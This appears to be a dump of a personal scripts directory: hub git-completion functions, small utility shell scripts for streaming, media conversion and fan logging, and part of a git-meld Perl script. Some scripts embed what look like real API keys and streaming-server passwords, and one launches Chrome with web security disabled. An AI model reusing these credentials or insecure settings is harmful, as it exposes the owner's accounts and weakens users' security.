local i c=2 s=-s sh shells="bash zsh sh ksh csh fish"
|
||||
while [ $c -lt $cword ]; do
|
||||
i="${words[c]}"
|
||||
case "$i" in
|
||||
-s)
|
||||
unset s
|
||||
;;
|
||||
*)
|
||||
for sh in $shells; do
|
||||
if [ "$sh" = "$i" ]; then
|
||||
unset shells
|
||||
break
|
||||
fi
|
||||
done
|
||||
;;
|
||||
esac
|
||||
((c++))
|
||||
done
|
||||
__gitcomp "$s $shells"
|
||||
}
|
||||
|
||||
# hub browse [-u] [--|[USER/]REPOSITORY] [SUBPAGE]
|
||||
_git_browse() {
|
||||
local i c=2 u=-u repo subpage
|
||||
local subpages_="commits issues tree wiki pulls branches stargazers
|
||||
contributors network network/ graphs graphs/"
|
||||
local subpages_network="members"
|
||||
local subpages_graphs="commit-activity code-frequency punch-card"
|
||||
while [ $c -lt $cword ]; do
|
||||
i="${words[c]}"
|
||||
case "$i" in
|
||||
-u)
|
||||
unset u
|
||||
;;
|
||||
*)
|
||||
if [ -z "$repo" ]; then
|
||||
repo=$i
|
||||
else
|
||||
subpage=$i
|
||||
fi
|
||||
;;
|
||||
esac
|
||||
((c++))
|
||||
done
|
||||
if [ -z "$repo" ]; then
|
||||
__gitcomp "$u -- $(__hub_github_repos '\p')"
|
||||
elif [ -z "$subpage" ]; then
|
||||
case "$cur" in
|
||||
*/*)
|
||||
local pfx="${cur%/*}" cur_="${cur#*/}"
|
||||
local subpages_var="subpages_$pfx"
|
||||
__gitcomp "${!subpages_var}" "$pfx/" "$cur_"
|
||||
;;
|
||||
*)
|
||||
__gitcomp "$u ${subpages_}"
|
||||
;;
|
||||
esac
|
||||
else
|
||||
__gitcomp "$u"
|
||||
fi
|
||||
}
|
||||
|
||||
# hub compare [-u] [USER[/REPOSITORY]] [[START...]END]
|
||||
_git_compare() {
|
||||
local i c=$((cword - 1)) u=-u user remote owner repo arg_repo rev
|
||||
while [ $c -gt 1 ]; do
|
||||
i="${words[c]}"
|
||||
case "$i" in
|
||||
-u)
|
||||
unset u
|
||||
;;
|
||||
*)
|
||||
if [ -z "$rev" ]; then
|
||||
# Even though the logic below is able to complete both user/repo
|
||||
# and revision in the right place, when there is only one argument
|
||||
# (other than -u) in the command, that argument will be taken as
|
||||
# revision. For example:
|
||||
# $ hub compare -u upstream
|
||||
# > https://github.com/USER/REPO/compare/upstream
|
||||
if __hub_github_repos '\p' | grep -Eqx "^$i(/[^/]+)?"; then
|
||||
arg_repo=$i
|
||||
else
|
||||
rev=$i
|
||||
fi
|
||||
elif [ -z "$arg_repo" ]; then
|
||||
arg_repo=$i
|
||||
fi
|
||||
;;
|
||||
esac
|
||||
((c--))
|
||||
done
|
||||
|
||||
# Here we want to find out the git remote name of user/repo, in order to
|
||||
# generate an appropriate revision list
|
||||
if [ -z "$arg_repo" ]; then
|
||||
user=$(__hub_github_user)
|
||||
if [ -z "$user" ]; then
|
||||
for i in $(__hub_github_repos); do
|
||||
remote=${i%%:*}
|
||||
repo=${i#*:}
|
||||
if [ "$remote" = origin ]; then
|
||||
break
|
||||
fi
|
||||
done
|
||||
else
|
||||
for i in $(__hub_github_repos); do
|
||||
remote=${i%%:*}
|
||||
repo=${i#*:}
|
||||
owner=${repo%%/*}
|
||||
if [ "$user" = "$owner" ]; then
|
||||
break
|
||||
fi
|
||||
done
|
||||
fi
|
||||
else
|
||||
for i in $(__hub_github_repos); do
|
||||
remote=${i%%:*}
|
||||
repo=${i#*:}
|
||||
owner=${repo%%/*}
|
||||
case "$arg_repo" in
|
||||
"$repo"|"$owner")
|
||||
break
|
||||
;;
|
||||
esac
|
||||
done
|
||||
fi
|
||||
|
||||
local pfx cur_="$cur"
|
||||
case "$cur_" in
|
||||
*..*)
|
||||
pfx="${cur_%%..*}..."
|
||||
cur_="${cur_##*..}"
|
||||
__gitcomp_nl "$(__hub_revlist $remote)" "$pfx" "$cur_"
|
||||
;;
|
||||
*)
|
||||
if [ -z "${arg_repo}${rev}" ]; then
|
||||
__gitcomp "$u $(__hub_github_repos '\o\n\p') $(__hub_revlist $remote)"
|
||||
elif [ -z "$rev" ]; then
|
||||
__gitcomp "$u $(__hub_revlist $remote)"
|
||||
else
|
||||
__gitcomp "$u"
|
||||
fi
|
||||
;;
|
||||
esac
|
||||
}
|
||||
|
||||
# hub create [NAME] [-p] [-d DESCRIPTION] [-h HOMEPAGE]
|
||||
_git_create() {
|
||||
local i c=2 name repo flags="-p -d -h"
|
||||
while [ $c -lt $cword ]; do
|
||||
i="${words[c]}"
|
||||
case "$i" in
|
||||
-d|-h)
|
||||
((c++))
|
||||
flags=${flags/$i/}
|
||||
;;
|
||||
-p)
|
||||
flags=${flags/$i/}
|
||||
;;
|
||||
*)
|
||||
name=$i
|
||||
;;
|
||||
esac
|
||||
((c++))
|
||||
done
|
||||
if [ -z "$name" ]; then
|
||||
repo=$(basename "$(pwd)")
|
||||
fi
|
||||
case "$prev" in
|
||||
-d|-h)
|
||||
COMPREPLY=()
|
||||
;;
|
||||
-p|*)
|
||||
__gitcomp "$repo $flags"
|
||||
;;
|
||||
esac
|
||||
}
|
||||
|
||||
# hub fork [--no-remote]
|
||||
_git_fork() {
|
||||
local i c=2 remote=yes
|
||||
while [ $c -lt $cword ]; do
|
||||
i="${words[c]}"
|
||||
case "$i" in
|
||||
--no-remote)
|
||||
unset remote
|
||||
;;
|
||||
esac
|
||||
((c++))
|
||||
done
|
||||
if [ -n "$remote" ]; then
|
||||
__gitcomp "--no-remote"
|
||||
fi
|
||||
}
|
||||
|
||||
# hub pull-request [-f] [-m <MESSAGE>|-F <FILE>|-i <ISSUE>|<ISSUE-URL>] [-b <BASE>] [-h <HEAD>]
|
||||
_git_pull_request() {
|
||||
local i c=2 flags="-f -m -F -i -b -h"
|
||||
while [ $c -lt $cword ]; do
|
||||
i="${words[c]}"
|
||||
case "$i" in
|
||||
-m|-F|-i|-b|-h)
|
||||
((c++))
|
||||
flags=${flags/$i/}
|
||||
;;
|
||||
-f)
|
||||
flags=${flags/$i/}
|
||||
;;
|
||||
esac
|
||||
((c++))
|
||||
done
|
||||
case "$prev" in
|
||||
-i)
|
||||
COMPREPLY=()
|
||||
;;
|
||||
-b|-h)
|
||||
# (Doesn't seem to need this...)
|
||||
# Uncomment the following line when 'owner/repo:[TAB]' misbehaved
|
||||
#_get_comp_words_by_ref -n : cur
|
||||
__gitcomp_nl "$(__hub_heads)"
|
||||
# __ltrim_colon_completions "$cur"
|
||||
;;
|
||||
-F)
|
||||
COMPREPLY=( "$cur"* )
|
||||
;;
|
||||
-f|*)
|
||||
__gitcomp "$flags"
|
||||
;;
|
||||
esac
|
||||
}
|
||||
|
||||
###################
|
||||
# Helper functions
|
||||
###################
|
||||
|
||||
# __hub_github_user [HOST]
|
||||
# Return $GITHUB_USER or the default github user defined in hub config
|
||||
# HOST - Host to be looked-up in hub config. Default is "github.com"
|
||||
__hub_github_user() {
|
||||
if [ -n "$GITHUB_USER" ]; then
|
||||
echo $GITHUB_USER
|
||||
return
|
||||
fi
|
||||
local line h k v host=${1:-github.com} config=${HUB_CONFIG:-~/.config/hub}
|
||||
if [ -f "$config" ]; then
|
||||
while read line; do
|
||||
if [ "$line" = "---" ]; then
|
||||
continue
|
||||
fi
|
||||
k=${line%%:*}
|
||||
v=${line#*:}
|
||||
if [ -z "$v" ]; then
|
||||
if [ "$h" = "$host" ]; then
|
||||
break
|
||||
fi
|
||||
h=$k
|
||||
continue
|
||||
fi
|
||||
k=${k#* }
|
||||
v=${v#* }
|
||||
if [ "$h" = "$host" ] && [ "$k" = "user" ]; then
|
||||
echo "$v"
|
||||
break
|
||||
fi
|
||||
done < "$config"
|
||||
fi
|
||||
}
|
||||
|
||||
# __hub_github_repos [FORMAT]
|
||||
# List all github hosted repository
|
||||
# FORMAT - Format string contains multiple of these:
|
||||
# \m remote
|
||||
# \p owner/repo
|
||||
# \o owner
|
||||
# escaped characters (\n, \t ...etc) work
|
||||
# If omitted, prints all github repos in the format of "remote:owner/repo"
|
||||
__hub_github_repos() {
|
||||
local f format=$1
|
||||
if [ -z "$(__gitdir)" ]; then
|
||||
return
|
||||
fi
|
||||
if [ -z "$format" ]; then
|
||||
format='\1:\2'
|
||||
else
|
||||
format=${format//\m/\1}
|
||||
format=${format//\p/\2}
|
||||
format=${format//\o/\3}
|
||||
fi
|
||||
command git config --get-regexp 'remote\.[^.]*\.url' |
|
||||
grep -E ' ((https?|git)://|git@)github\.com[:/][^:/]+/[^/]+$' |
|
||||
sed -E 's#^remote\.([^.]+)\.url +.+[:/](([^/]+)/[^.]+)(\.git)?$#'"$format"'#'
|
||||
}
|
||||
|
||||
# __hub_heads
|
||||
# List all local "branch", and remote "owner/repo:branch"
|
||||
__hub_heads() {
|
||||
local i remote repo branch dir=$(__gitdir)
|
||||
if [ -d "$dir" ]; then
|
||||
command git --git-dir="$dir" for-each-ref --format='%(refname:short)' \
|
||||
"refs/heads/"
|
||||
for i in $(__hub_github_repos); do
|
||||
remote=${i%%:*}
|
||||
repo=${i#*:}
|
||||
command git --git-dir="$dir" for-each-ref --format='%(refname:short)' \
|
||||
"refs/remotes/${remote}/" | while read branch; do
|
||||
echo "${repo}:${branch#${remote}/}"
|
||||
done
|
||||
done
|
||||
fi
|
||||
}
|
||||
|
||||
# __hub_revlist [REMOTE]
|
||||
# List all tags, and branches under REMOTE, without the "remote/" prefix
|
||||
# REMOTE - Remote name to search branches from. Default is "origin"
|
||||
__hub_revlist() {
|
||||
local i remote=${1:-origin} dir=$(__gitdir)
|
||||
if [ -d "$dir" ]; then
|
||||
command git --git-dir="$dir" for-each-ref --format='%(refname:short)' \
|
||||
"refs/remotes/${remote}/" | while read i; do
|
||||
echo "${i#${remote}/}"
|
||||
done
|
||||
command git --git-dir="$dir" for-each-ref --format='%(refname:short)' \
|
||||
"refs/tags/"
|
||||
fi
|
||||
}
|
||||
|
||||
# Enable completion for hub even when not using the alias
|
||||
complete -o bashdefault -o default -o nospace -F _git hub 2>/dev/null \
|
||||
|| complete -o default -o nospace -F _git hub
|
||||
fi
|
||||
Executable
+160
@@ -0,0 +1,160 @@
|
||||
#compdef hub
|
||||
|
||||
# Zsh will source this file when attempting to autoload the "_hub" function,
|
||||
# typically on the first attempt to complete the hub command. We define two new
|
||||
# setup helper routines (one for the zsh-distributed version, one for the
|
||||
# git-distributed, bash-based version). Then we redefine the "_hub" function to
|
||||
# call "_git" after some other interception.
|
||||
#
|
||||
# This is pretty fragile, if you think about it. Any number of implementation
|
||||
# changes in the "_git" scripts could cause problems down the road. It would be
|
||||
# better if the stock git completions were just a bit more permissive about how
|
||||
# it allowed third-party commands to be added.
|
||||
|
||||
(( $+functions[__hub_setup_zsh_fns] )) ||
|
||||
__hub_setup_zsh_fns () {
|
||||
(( $+functions[_git-alias] )) ||
|
||||
_git-alias () {
|
||||
_arguments \
|
||||
'-s[output shell script suitable for eval]' \
|
||||
'1::shell:(zsh bash csh)'
|
||||
}
|
||||
|
||||
(( $+functions[_git-browse] )) ||
|
||||
_git-browse () {
|
||||
_arguments \
|
||||
'-u[output the URL]' \
|
||||
'2::subpage:(wiki commits issues)'
|
||||
}
|
||||
|
||||
(( $+functions[_git-compare] )) ||
|
||||
_git-compare () {
|
||||
_arguments \
|
||||
'-u[output the URL]' \
|
||||
':[start...]end range:'
|
||||
}
|
||||
|
||||
(( $+functions[_git-create] )) ||
|
||||
_git-create () {
|
||||
_arguments \
|
||||
'::name (REPOSITORY or ORGANIZATION/REPOSITORY):' \
|
||||
'-p[make repository private]' \
|
||||
'-d[description]:description' \
|
||||
'-h[home page]:repository home page URL:_urls'
|
||||
}
|
||||
|
||||
(( $+functions[_git-fork] )) ||
|
||||
_git-fork () {
|
||||
_arguments \
|
||||
'--no-remote[do not add a remote for the new fork]'
|
||||
}
|
||||
|
||||
(( $+functions[_git-pull-request] )) ||
|
||||
_git-pull-request () {
|
||||
_arguments \
|
||||
'-f[force (skip check for local commits)]' \
|
||||
'-b[base]:base ("branch", "owner\:branch", "owner/repo\:branch"):' \
|
||||
'-h[head]:head ("branch", "owner\:branch", "owner/repo\:branch"):' \
|
||||
- set1 \
|
||||
'-m[message]' \
|
||||
'-F[file]' \
|
||||
- set2 \
|
||||
'-i[issue]:issue number:' \
|
||||
- set3 \
|
||||
'::issue-url:_urls'
|
||||
}
|
||||
|
||||
# stash the "real" command for later
|
||||
functions[_hub_orig_git_commands]=$functions[_git_commands]
|
||||
|
||||
# Replace it with our own wrapper.
|
||||
declare -f _git_commands >& /dev/null && unfunction _git_commands
|
||||
_git_commands () {
|
||||
local ret=1
|
||||
# call the original routine
|
||||
_call_function ret _hub_orig_git_commands
|
||||
|
||||
# Effectively "append" our hub commands to the behavior of the original
|
||||
# _git_commands function. Using this wrapper function approach ensures
|
||||
# that we only offer the user the hub subcommands when the user is
|
||||
# actually trying to complete subcommands.
|
||||
hub_commands=(
|
||||
alias:'show shell instructions for wrapping git'
|
||||
pull-request:'open a pull request on GitHub'
|
||||
fork:'fork origin repo on GitHub'
|
||||
create:'create new repo on GitHub for the current project'
|
||||
browse:'browse the project on GitHub'
|
||||
compare:'open GitHub compare view'
|
||||
ci-status:'lookup commit in GitHub Status API'
|
||||
)
|
||||
_describe -t hub-commands 'hub command' hub_commands && ret=0
|
||||
|
||||
return ret
|
||||
}
|
||||
}
|
||||
|
||||
(( $+functions[__hub_setup_bash_fns] )) ||
|
||||
__hub_setup_bash_fns () {
|
||||
# TODO more bash-style fns needed here to complete subcommand args. They take
|
||||
# the form "_git_CMD" where "CMD" is something like "pull-request".
|
||||
|
||||
# Duplicate and rename the 'list_all_commands' function
|
||||
eval "$(declare -f __git_list_all_commands | \
|
||||
sed 's/__git_list_all_commands/__git_list_all_commands_without_hub/')"
|
||||
|
||||
# Wrap the 'list_all_commands' function with extra hub commands
|
||||
__git_list_all_commands() {
|
||||
cat <<-EOF
|
||||
alias
|
||||
pull-request
|
||||
fork
|
||||
create
|
||||
browse
|
||||
compare
|
||||
ci-status
|
||||
EOF
|
||||
__git_list_all_commands_without_hub
|
||||
}
|
||||
|
||||
# Ensure cached commands are cleared
|
||||
__git_all_commands=""
|
||||
}
|
||||
|
||||
# redefine _hub to a much smaller function in the steady state
|
||||
_hub () {
|
||||
# only attempt to intercept the normal "_git" helper functions once
|
||||
(( $+__hub_func_replacement_done )) ||
|
||||
() {
|
||||
# At this stage in the shell's execution the "_git" function has not yet
|
||||
# been autoloaded, so the "_git_commands" or "__git_list_all_commands"
|
||||
# functions will not be defined. Call it now (with a bogus no-op service
|
||||
# to prevent premature completion) so that we can wrap them.
|
||||
if declare -f _git >& /dev/null ; then
|
||||
_hub_noop () { __hub_zsh_provided=1 } # zsh-provided will call this one
|
||||
__hub_noop_main () { __hub_git_provided=1 } # git-provided will call this one
|
||||
local service=hub_noop
|
||||
_git
|
||||
unfunction _hub_noop
|
||||
unfunction __hub_noop_main
|
||||
service=git
|
||||
fi
|
||||
|
||||
if (( $__hub_zsh_provided )) ; then
|
||||
__hub_setup_zsh_fns
|
||||
elif (( $__hub_git_provided )) ; then
|
||||
__hub_setup_bash_fns
|
||||
fi
|
||||
|
||||
__hub_func_replacement_done=1
|
||||
}
|
||||
|
||||
# Now perform the actual completion, allowing the "_git" function to call our
|
||||
# replacement "_git_commands" function as needed. Both versions expect
|
||||
# service=git or they will call nonexistent routines or end up in an infinite
|
||||
# loop.
|
||||
service=git
|
||||
declare -f _git >& /dev/null && _git
|
||||
}
|
||||
|
||||
# make sure we actually attempt to complete on the first "tab" from the user
|
||||
_hub
|
||||
@@ -0,0 +1,3 @@
|
||||
#!/bin/bash
|
||||
cd /home/kof/src/etherpad-lite/bin/
|
||||
./run.sh
|
||||
Executable
+2
@@ -0,0 +1,2 @@
|
||||
#!/bin/bash
|
||||
echo -n "$PATH" | xargs -d: -I:: find -L :: -maxdepth 1 -mindepth 1 -type f -executable -printf '%P\n' 2>/dev/null | sort -u
|
||||
Executable
+1
@@ -0,0 +1 @@
|
||||
PWM,RPM
|
||||
Executable
+38
@@ -0,0 +1,38 @@
|
||||
#!/bin/bash
|
||||
clear
|
||||
|
||||
#################################################
|
||||
# change the following lines to match your system
|
||||
#################################################
|
||||
pwmcontrol=/sys/class/hwmon/hwmon1/device/pwm1
|
||||
fanrpmread=/sys/class/hwmon/hwmon1/device/fan1_input
|
||||
|
||||
# do not edit below this line
|
||||
#################################################
|
||||
log=`pwd`/fandata.log
|
||||
echo "PWM,RPM" > $log
|
||||
|
||||
echo "This script will set your PWM to values from full power down to 0 decreasing in"
|
||||
echo "approx 5 % steps and pausing 10 sec between steps to allow the fan RPM to catch"
|
||||
echo "up to the new settings. Data are logged to ${log}"
|
||||
echo "which can be used to generate a graph or use as-is."
|
||||
|
||||
collectdata() {
|
||||
array=( 255 242 230 217 204 191 178 165 152 139 126 113 100 87 74 48 22 0 )
|
||||
for item in ${array[*]}
|
||||
do
|
||||
echo $item > $pwmcontrol
|
||||
sleep 10s
|
||||
rpm=`cat ${fanrpmread}`
|
||||
echo $item,$rpm >> $log
|
||||
echo "PWM: ${item} RPM: ${rpm}"
|
||||
done
|
||||
}
|
||||
|
||||
/etc/rc.d/fancontrol stop
|
||||
echo "1" > ${pwmcontrol}_enable
|
||||
|
||||
collectdata
|
||||
|
||||
echo "0" > ${pwmcontrol}_enable
|
||||
/etc/rc.d/fancontrol start
|
||||
Executable
+6
@@ -0,0 +1,6 @@
|
||||
#!/bin/bash
|
||||
#pkill ffserver
|
||||
#ffserver -d &
|
||||
pkill node
|
||||
(cd /var/www/jsmpeg && node stream-server.js passpasspass) &
|
||||
(sleep 1 && ffmpeg -f x11grab -s 1600x900 -r 30 -i :0.0 -vf scale=800:450 -b:v 2M -f mpeg1video http://127.0.0.1:8082/passpasspass/800/450/ && pkill node)
|
||||
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
+2
@@ -0,0 +1,2 @@
|
||||
#!/bin/zsh
|
||||
sudo chmod -R o+rX "$*"
|
||||
@@ -0,0 +1,8 @@
|
||||
#!/usr/bin/env bash
|
||||
|
||||
for flashpid in $(pgrep -f flashplayer.so); do
|
||||
cd "/proc/$flashpid/fd"
|
||||
for video in $(file * | grep '/tmp/Flash' | sed 's/\(^[0-9]*\).*/\1/g'); do
|
||||
echo "/proc/$flashpid/fd/$video"
|
||||
done
|
||||
done
|
||||
Executable
+2
@@ -0,0 +1,2 @@
|
||||
#!/bin/bash
|
||||
curl -v -X GET "https://api.flightstats.com/flex/flightstatus/rest/v2/json/airport/tracks/"$1"/dep?appId=7584d207&appKey=9f429b1d65cba4eccccb4b7158470673&includeFlightPlan=true&maxPositions=999999"
|
||||
Executable
BIN
Binary file not shown.
@@ -0,0 +1,18 @@
|
||||
#!/bin/bash
|
||||
if [ "$#" -ne 2 ]; then
|
||||
echo "Usage: frac HH:MM:SS:FF FPS" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
FRAG=`echo "scale=2; 1/$2" | bc -l`
|
||||
FRAMENO=`echo "$1" | awk -F':' '{print $4}'`
|
||||
|
||||
if [ $FRAMENO == "00" ]
|
||||
then
|
||||
FRAC=".00"
|
||||
else
|
||||
FRAC=$(echo "$FRAMENO * $FRAG" | bc -l)
|
||||
fi
|
||||
|
||||
COMPLETE=`echo $1 | awk -F':' '{print $1, $2, $3}' | while read H M S; do echo "$H:$M:$S$FRAC" ;done`
|
||||
echo $COMPLETE
|
||||
@@ -0,0 +1,4 @@
|
||||
#!/bin/sh
|
||||
echo "frame.removeNotify()"
|
||||
echo "frame.setFocusableWindowState(false)"
|
||||
echo "frame.addNotify()"
|
||||
@@ -0,0 +1,2 @@
|
||||
#!/bin/bash
|
||||
GET $1 | tr A-Z a-z | tr -cs a-z "[\012*]" | grep "[a-z]" | sort | uniq -c | sort -rn
|
||||
@@ -0,0 +1,109 @@
|
||||
##########################
|
||||
# RUBY RAKY PIC HO TAKY #
|
||||
##########################
|
||||
|
||||
#load_libraries :opengl
|
||||
#include_package "processing.opengl"
|
||||
|
||||
full_screen
|
||||
|
||||
|
||||
@@width = 1280
|
||||
@@height = 720
|
||||
@@render = P2D
|
||||
|
||||
@@position = 0
|
||||
|
||||
def setup
|
||||
#hack to loose focus
|
||||
frame.setFocusableWindowState(false)
|
||||
#frame.setAlwaysOnTop(false)
|
||||
#frame.setLocation(0,0);
|
||||
|
||||
|
||||
|
||||
size @@width,@@height,@@render
|
||||
|
||||
|
||||
@@li = (height - 10) / 10
|
||||
smooth
|
||||
|
||||
textFont createFont("Times",8,false)
|
||||
textMode SCREEN
|
||||
|
||||
@@t = T.new
|
||||
|
||||
@@raw = `tree -f -u -g -s /sketchBook`.split("\n")
|
||||
#p @@raw
|
||||
end
|
||||
|
||||
def draw
|
||||
background 0
|
||||
frameRate 30
|
||||
|
||||
noStroke
|
||||
|
||||
@@t.draw
|
||||
|
||||
@@position += 10
|
||||
fill 255
|
||||
|
||||
(1+@@position..@@li+@@position).each do |i|
|
||||
textAlign LEFT
|
||||
text @@raw[i].to_s,0,i*10-@@position*10
|
||||
end
|
||||
|
||||
fill 255,127,0
|
||||
ln = @@raw[@@position+@@li].split(" ").at(-1)
|
||||
text ln,720,10
|
||||
|
||||
if(ln.reverse[0..3].eql? (".pde".reverse))
|
||||
p "bang"
|
||||
text `cat #{ln} | head -n #{@@li}`,720,30
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
class T
|
||||
@x
|
||||
@y
|
||||
@trail
|
||||
|
||||
attr_accessor :x,:y,:z
|
||||
|
||||
def initialize
|
||||
@x = width/2
|
||||
@y = height/2
|
||||
@trail = []
|
||||
end
|
||||
|
||||
def draw
|
||||
rectMode CENTER
|
||||
#rect @x,@y,10,10
|
||||
|
||||
|
||||
@x =noise(frameCount/30.0)*width
|
||||
@y = noise(frameCount/60.0)*height
|
||||
|
||||
|
||||
|
||||
@trail << (PVector.new(@x,@y))
|
||||
|
||||
i=0
|
||||
@last = @trail.at(0)
|
||||
@trail.each do |pos1|
|
||||
d = 40 #dist pos1.x,pos1.y,pos2.x,pos2.y * 1.2
|
||||
noFill
|
||||
stroke 127,255,0,20
|
||||
i+=1.0
|
||||
ellipse noise((frameCount-i)/(30.0+i/100.0))*width,
|
||||
noise((frameCount-i)/(60.0+i/200.0))*height,d,d
|
||||
end
|
||||
|
||||
if(@trail.size>300)
|
||||
@trail.delete_at(-1)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
@@ -0,0 +1 @@
|
||||
debtree -b --show-all --no-recommends --no-versions --no-alternatives sun-java6-jdk | dot -overlap=false -Gsplines=line -T png -o tree.png
|
||||
Executable
+5
@@ -0,0 +1,5 @@
|
||||
#!/bin/bash
|
||||
echo Time : `date +%H:%M:%S`
|
||||
echo Unix epoch : `date +%s`
|
||||
echo Metric time: `/home/kof/bin/metriclock`
|
||||
echo Moon phase : `/home/kof/bin/moonphase`
|
||||
Executable
+2
@@ -0,0 +1,2 @@
|
||||
#!/bin/bash
|
||||
while true; do gensign; sleep 7; gensign; sleep 3; done
|
||||
@@ -0,0 +1 @@
|
||||
google-chrome --allow-file-access-from-files -disable-web-security /home/kof/www/Gibber/index.htm
|
||||
@@ -0,0 +1,2 @@
|
||||
#!/bin/bash
|
||||
ffmpeg -i $* -r 25 -f mpeg -sameq /tmp/webcam.mpg && ffmpeg -i /tmp/webcam.mpg /tmp/img-%05d.png && convert -set delay 3 -loop 0 -delay 3 -dispose 1 /tmp/img-*.png -ordered-dither o2x2 -remap /home/kof/map.gif /tmp/animation.gif && cp /tmp/animation.gif ~/ && rm /tmp/img\-*.png
|
||||
Executable
+4
@@ -0,0 +1,4 @@
|
||||
#!/bin/bash
|
||||
ffmpeg -re -f jack -ac 2 -i RADIO_IN -acodec libvorbis -ac 2 -b:a 128k -ar 44100 -f ogg - | oggfwd -p -n "Kof's TAZ radio" giss.tv 8000 jwz1m /kof.ogg
|
||||
#ffmpeg -re -f jack -ac 2 -i RADIO_IN -acodec copy -ac 2 -ar 44100 -f wav - | opusenc --bitrate 96 --ignore-length - - | tee "/home/kof/streams/`date`.opus" | oggfwd -p -n "Kof's TAZ" giss.tv 8000 jwz1m /kof.ogg
|
||||
#ffmpeg -re -f jack -ac 2 -i RADIO_IN -acodec libopus -b:a 96k -compression_level 10 -ac 2 -ar 44100 -f ogg - | tee "/home/kof/streams/`date`.ogg" | oggfwd -p -n "Kof's TAZ" giss.tv 8000 jwz1m /kof.ogg
|
||||
@@ -0,0 +1,2 @@
|
||||
#!/bin/bash
|
||||
cvlc screen:// --screen-fps=5.00000 --input-slave pulse://jack_in --live-caching=300 --sout "#transcode{vcodec=theo,vb=900,scale=1,fps=5,keyint=1,acodec=vorb,ab=96,channels=2,samplerate=48000}:duplicate{dst=std{access=shout,mux=ogg,dst=source:jwz1m@giss.tv:8000/kof.ogg}}" --no-sout-rtp-sap --no-sout-standard-sap --ttl=1 --sout-keep
|
||||
Executable
+2
@@ -0,0 +1,2 @@
|
||||
#!/bin/bash
|
||||
meld "$2" "$5" > /dev/null 2>&1
|
||||
Executable
+228
@@ -0,0 +1,228 @@
|
||||
#!/usr/bin/perl
|
||||
|
||||
### Copyright (C) 2010 Will Manley <will@williammanley.net>
|
||||
|
||||
### This program is free software; you can redistribute it and/or modify
|
||||
### it under the terms of the GNU General Public License as published by
|
||||
### the Free Software Foundation; either version 2 of the License, or
|
||||
### (at your option) any later version.
|
||||
|
||||
### This program is distributed in the hope that it will be useful,
|
||||
### but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
### MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
### GNU General Public License for more details.
|
||||
|
||||
### You should have received a copy of the GNU General Public License
|
||||
### along with this program; if not, write to the Free Software
|
||||
### Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
|
||||
|
||||
use strict;
|
||||
use File::Basename;
|
||||
use Cwd;
|
||||
|
||||
sub safe_cmd {
|
||||
my $cmd = shift;
|
||||
my $output = `$cmd`;
|
||||
if ($? != 0) {
|
||||
die("$cmd failed with exit code $?");
|
||||
}
|
||||
return $output;
|
||||
}
|
||||
|
||||
sub safe_system {
|
||||
system(@_) == 0 || die ("system(" . @_ . ") failed!");
|
||||
return 0;
|
||||
}
|
||||
|
||||
sub trim($)
|
||||
{
|
||||
my $string = shift;
|
||||
$string =~ s/^\s+//;
|
||||
$string =~ s/\s+$//;
|
||||
return $string;
|
||||
}
|
||||
|
||||
# Gets the value of the given config name from git if it exists, otherwise
|
||||
# returns the default value given as the second argument
|
||||
sub get_config_or_default($$) {
|
||||
(my $key, my $default) = @_;
|
||||
my $value = trim(`git config --get $key`);
|
||||
return ($value eq "") ? $default : $value;
|
||||
}
|
||||
|
||||
# The command line possibilities are:
|
||||
# Compare staging area to working directory:
|
||||
# git meld [--options...] [--] [<paths>...]
|
||||
#
|
||||
# Compare source to staging area (source defaults to HEAD):
|
||||
# git meld [--options...] --cached <source> [--] [<paths>...]
|
||||
#
|
||||
# Show the differences between source and the working directory
|
||||
# git meld [--options...] <source> [--] [<paths>...]
|
||||
#
|
||||
# Show the differences between source and dest:
|
||||
# git meld [--options...] <source> <dest> [--] [<paths>...]
|
||||
#
|
||||
# Same as above:
|
||||
# git meld [--options...] <source>..<dest> [--] [<paths>...]
|
||||
#
|
||||
# Show all the changes in source that have occured since it was branched
|
||||
# from dest:
|
||||
# git meld [--options...] <commit1>...<commit2> [--] [<paths>...]
|
||||
#
|
||||
# This function parses the command line and extracts source and dest and returns
|
||||
# them as two elements in a list.
|
||||
sub parse_cmd(@)
|
||||
{
|
||||
my @args = @_;
|
||||
my $diff_opts = "";
|
||||
my %opts;
|
||||
|
||||
# Get options to be sent to diff. These all start with --
|
||||
while (my $arg = shift(@args)) {
|
||||
if ($arg =~ m/^-/ && $arg ne "--") {
|
||||
$arg =~ m/^-+([^=]+)(=(.*))?$/;
|
||||
$opts{$1} = $3;
|
||||
$diff_opts += " \"$arg\"";
|
||||
}
|
||||
else {
|
||||
unshift(@args, $arg);
|
||||
last;
|
||||
}
|
||||
}
|
||||
|
||||
my $source_tree = "";
|
||||
my $dest_tree = "";
|
||||
|
||||
# Get tree-ishes to compare
|
||||
if (scalar @args != 0 && $args[0] ne "--") {
|
||||
my $commit1 = shift(@args);
|
||||
|
||||
if ($commit1 =~ m/^(.*)\.\.\.(.*)$/) {
|
||||
$source_tree = trim(safe_cmd("git merge-base $1 $2"));
|
||||
$dest_tree = $2;
|
||||
shift(@args);
|
||||
}
|
||||
elsif ($commit1 =~ m/^(.*)\.\.(.*)$/) {
|
||||
$source_tree = $1;
|
||||
$dest_tree = $2;
|
||||
}
|
||||
else {
|
||||
$source_tree = $commit1;
|
||||
if (scalar @args == 0) {
|
||||
}
|
||||
else {
|
||||
my $commit2 = shift(@args);
|
||||
if ($commit2 ne "--") {
|
||||
$dest_tree = $commit2;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return ($source_tree, $dest_tree, \%opts);
|
||||
}
|
||||
|
||||
sub nul_seperated_string_to_list($) {
|
||||
my $string = shift;
|
||||
my @list = split(/\0/, $string);
|
||||
return \@list;
|
||||
}
|
||||
|
||||
sub shell_escape($) {
|
||||
$_ = shift;
|
||||
s/\\/\\\\/g;
|
||||
s/\$/\\\$/g;
|
||||
s/\`/\\\`/g;
|
||||
return "\"$_\"";
|
||||
}
|
||||
|
||||
# Copies files from a named tree into a directory
|
||||
# Parameters:
|
||||
# tree - A tree-ish
|
||||
# file_list - A list ref giving a list of filenames to copy
|
||||
# out_dir - The directory under which this tree should be reconstructed
|
||||
sub copy_files_named_tree($$$) {
|
||||
(my $tree, my $file_list, my $out_dir) = @_;
|
